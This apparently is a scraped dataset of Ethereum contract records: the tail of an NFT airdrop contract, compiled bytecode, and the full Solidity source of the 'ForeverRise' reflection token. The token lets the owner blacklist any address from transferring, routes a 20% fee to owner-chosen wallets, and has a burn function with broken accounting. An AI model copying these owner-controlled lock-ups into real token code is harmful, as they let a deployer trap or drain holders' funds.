_users) external onlyOwner { uint tokenId = 0; for (uint i = 0; i < _users.length; i++) { do { tokenId++; } while (IERC721(nft).ownerOf(tokenId) != address(this)); IERC721(nft).transferFrom( address(this), _users[i], tokenId ); } } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063150b7a021461005c578063715018a61461008c5780638da5cb5b14610096578063ce0e3b9f146100b4578063f2fde38b146100d0575b600080fd5b610076600480360381019061007191906106c1565b6100ec565b604051610083919061086e565b60405180910390f35b610094610101565b005b61009e610189565b6040516100ab919061081c565b60405180910390f35b6100ce60048036038101906100c99190610749565b6101b2565b005b6100ea60048036038101906100e59190610667565b6103b8565b005b600063150b7a0260e01b905095945050505050565b6101096104b0565b73ffffffffffffffffffffffffffffffffffffffff16610127610189565b73ffffffffffffffffffffffffffffffffffffffff161461017d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610174906108a9565b60405180910390fd5b61018760006104b8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101ba6104b0565b73ffffffffffffffffffffffffffffffffffffffff166101d8610189565b73ffffffffffffffffffffffffffffffffffffffff161461022e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610225906108a9565b60405180910390fd5b6000805b838390508110156103b1575b81806102499061095d565b9250503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b815260040161029c91906108c9565b60206040518083038186803b1580156102b457600080fd5b505afa1580156102c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ec9190610694565b73ffffffffffffffffffffffffffffffffffffffff16141561023e578473ffffffffffffffffffffffffffffffffffffffff166323b872dd30868685818110610338576103376109d5565b5b905060200201602081019061034d9190610667565b856040518463ffffffff1660e01b815260040161036c93929190610837565b600060405180830381600087803b15801561038657600080fd5b505af115801561039a573d6000803e3d6000fd5b5050505080806103a99061095d565b915050610232565b5050505050565b6103c06104b0565b73ffffffffffffffffffffffffffffffffffffffff166103de610189565b73ffffffffffffffffffffffffffffffffffffffff1614610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906108a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049b90610889565b60405180910390fd5b6104ad816104b8565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061058b81610a95565b92915050565b6000815190506105a081610a95565b92915050565b60008083601f8401126105bc576105bb610a09565b5b8235905067ffffffffffffffff8111156105d9576105d8610a04565b5b6020830191508360208202830111156105f5576105f4610a0e565b5b9250929050565b60008083601f84011261061257610611610a09565b5b8235905067ffffffffffffffff81111561062f5761062e610a04565b5b60208301915083600182028301111561064b5761064a610a0e565b5b9250929050565b60008135905061066181610aac565b92915050565b60006020828403121561067d5761067c610a18565b5b600061068b8482850161057c565b91505092915050565b6000602082840312156106aa576106a9610a18565b5b60006106b884828501610591565b91505092915050565b6000806000806000608086880312156106dd576106dc610a18565b5b60006106eb8882890161057c565b95505060206106fc8882890161057c565b945050604061070d88828901610652565b935050606086013567ffffffffffffffff81111561072e5761072d610a13565b5b61073a888289016105fc565b92509250509295509295909350565b60008060006040848603121561076257610761610a18565b5b60006107708682870161057c565b935050602084013567ffffffffffffffff81111561079157610790610a13565b5b61079d868287016105a6565b92509250509250925092565b6107b2816108f5565b82525050565b6107c181610907565b82525050565b60006107d46026836108e4565b91506107df82610a1d565b604082019050919050565b60006107f76020836108e4565b915061080282610a6c565b602082019050919050565b61081681610953565b82525050565b600060208201905061083160008301846107a9565b92915050565b600060608201905061084c60008301866107a9565b61085960208301856107a9565b610866604083018461080d565b949350505050565b600060208201905061088360008301846107b8565b92915050565b600060208201905081810360008301526108a2816107c7565b9050919050565b600060208201905081810360008301526108c2816107ea565b9050919050565b60006020820190506108de600083018461080d565b92915050565b600082825260208201905092915050565b600061090082610933565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061096882610953565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561099b5761099a6109a6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b610a9e816108f5565b8114610aa957600080fd5b50565b610ab581610953565b8114610ac057600080fd5b5056fea2646970667358221220e4cb8192363306c8bd67f5d3a9954a07978f109f1949ac67828c0037c10b1d8464736f6c63430008070033
{"success": true, "error": null, "results": {}}
9,505
0xae2842f55adb72e3f84e0c6e1d45899e03fde6a5
/* // SPDX-License-Identifier: ForeverRise */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed guy, uint wad); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SmartContract is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ForeverRise"; string private constant _symbol = "ForeverRise"; uint8 private constant _decimals = 9; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 15; address payable private _FeeAddress; address payable private _buyBackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable buyBackWalletAddress) { _FeeAddress = FeeAddress; _buyBackWalletAddress = buyBackWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading(address pairAddress) external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Pair = pairAddress; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 15; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(tradingOpen || from == owner()); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _buyBackWalletAddress.transfer(amount.div(2)); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; _FeeAddress.transfer(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function burn() public returns (bool) { require(msg.sender != address(0), "ERC20: burn from the zero address"); require(_rOwned[msg.sender] > 0, "ERC20: No balance to burn"); uint256 _value = _rOwned[msg.sender]; _rOwned[msg.sender] = 0; _rOwned[address(0)] = _value; _rTotal = _rTotal.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); return true; } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063b515566a1161006f578063b515566a146103db578063c3c8cd8014610404578063ca72a4e71461041b578063d543dbeb14610444578063db92dbb61461046d578063dd62ed3e1461049857610135565b806370a08231146102f4578063715018a6146103315780638da5cb5b1461034857806395d89b4114610373578063a9059cbb1461039e57610135565b806327f3a72a116100f257806327f3a72a14610233578063313ce5671461025e57806344df8e70146102895780635932ead1146102b45780636fc3eaec146102dd57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104d5565b60405161015c9190612c4a565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612875565b610512565b6040516101999190612c2f565b60405180910390f35b3480156101ae57600080fd5b506101b7610530565b6040516101c49190612e0c565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612826565b610541565b6040516102019190612c2f565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612798565b61061a565b005b34801561023f57600080fd5b5061024861070a565b6040516102559190612e0c565b60405180910390f35b34801561026a57600080fd5b5061027361071a565b6040516102809190612e81565b60405180910390f35b34801561029557600080fd5b5061029e610723565b6040516102ab9190612c2f565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d691906128f2565b6109ba565b005b3480156102e957600080fd5b506102f2610a6c565b005b34801561030057600080fd5b5061031b60048036038101906103169190612798565b610b3e565b6040516103289190612e0c565b60405180910390f35b34801561033d57600080fd5b50610346610b8f565b005b34801561035457600080fd5b5061035d610ce2565b60405161036a9190612c14565b60405180910390f35b34801561037f57600080fd5b50610388610d0b565b6040516103959190612c4a565b60405180910390f35b3480156103aa57600080fd5b506103c560048036038101906103c09190612875565b610d48565b6040516103d29190612c2f565b60405180910390f35b3480156103e757600080fd5b5061040260048036038101906103fd91906128b1565b610d66565b005b34801561041057600080fd5b50610419610eb6565b005b34801561042757600080fd5b50610442600480360381019061043d9190612798565b610f30565b005b34801561045057600080fd5b5061046b6004803603810190610466919061291b565b611115565b005b34801561047957600080fd5b5061048261125e565b60405161048f9190612e0c565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba91906127ea565b611290565b6040516104cc9190612e0c565b60405180910390f35b60606040518060400160405280600b81526020017f466f726576657252697365000000000000000000000000000000000000000000815250905090565b600061052661051f611317565b848461131f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061054e8484846114ea565b61060f8461055a611317565b61060a8560405180606001604052806028815260200161359460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c0611317565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad19092919063ffffffff16565b61131f565b600190509392505050565b610622611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a690612d4c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061071530610b3e565b905090565b60006009905090565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078b90612d8c565b60405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d90612d0c565b60405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f881600854611b3590919063ffffffff16565b6008819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040516109449190612e0c565b60405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109aa9190612e0c565b60405180910390a3600191505090565b6109c2611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612d4c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aad611317565b73ffffffffffffffffffffffffffffffffffffffff1614610acd57600080fd5b6000479050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b3a573d6000803e3d6000fd5b5050565b6000610b88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7f565b9050919050565b610b97611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612d4c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f466f726576657252697365000000000000000000000000000000000000000000815250905090565b6000610d5c610d55611317565b84846114ea565b6001905092915050565b610d6e611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290612d4c565b60405180910390fd5b60005b8151811015610eb257600160066000848481518110610e46577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610eaa90613122565b915050610dfe565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ef7611317565b73ffffffffffffffffffffffffffffffffffffffff1614610f1757600080fd5b6000610f2230610b3e565b9050610f2d81611bed565b50565b610f38611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbc90612d4c565b60405180910390fd5b600f60149054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612dec565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff0219169083151502179055505050565b61111d611317565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612d4c565b60405180910390fd5b600081116111ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e490612cec565b60405180910390fd5b61121c606461120e83683635c9adc5dea00000611ee790919063ffffffff16565b611f6290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112539190612e0c565b60405180910390a150565b600061128b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b3e565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138690612dcc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612cac565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114dd9190612e0c565b60405180910390a3505050565b600f60149054906101000a900460ff16806115375750611508610ce2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61154057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612dac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161790612c6c565b60405180910390fd5b60008111611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90612d6c565b60405180910390fd5b61166b610ce2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116d957506116a9610ce2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a0e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117825750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61178b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561188c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118a45750600f60179054906101000a900460ff165b15611954576010548111156118b857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061190357600080fd5b601e426119109190612f42565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061195f30610b3e565b9050600f60159054906101000a900460ff161580156119cc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119e45750600f60169054906101000a900460ff165b15611a0c576119f281611bed565b60004790506000811115611a0a57611a0947611fac565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ab55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611abf57600090505b611acb848484846120a7565b50505050565b6000838311158290611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b109190612c4a565b60405180910390fd5b5060008385611b289190613023565b9050809150509392505050565b6000611b7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad1565b905092915050565b6000600854821115611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd90612c8c565b60405180910390fd5b6000611bd06120d4565b9050611be58184611f6290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c795781602001602082028036833780820191505090505b5090503081600081518110611cb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5957600080fd5b505afa158015611d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9191906127c1565b81600181518110611dcb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e3230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461131f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e96959493929190612e27565b600060405180830381600087803b158015611eb057600080fd5b505af1158015611ec4573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415611efa5760009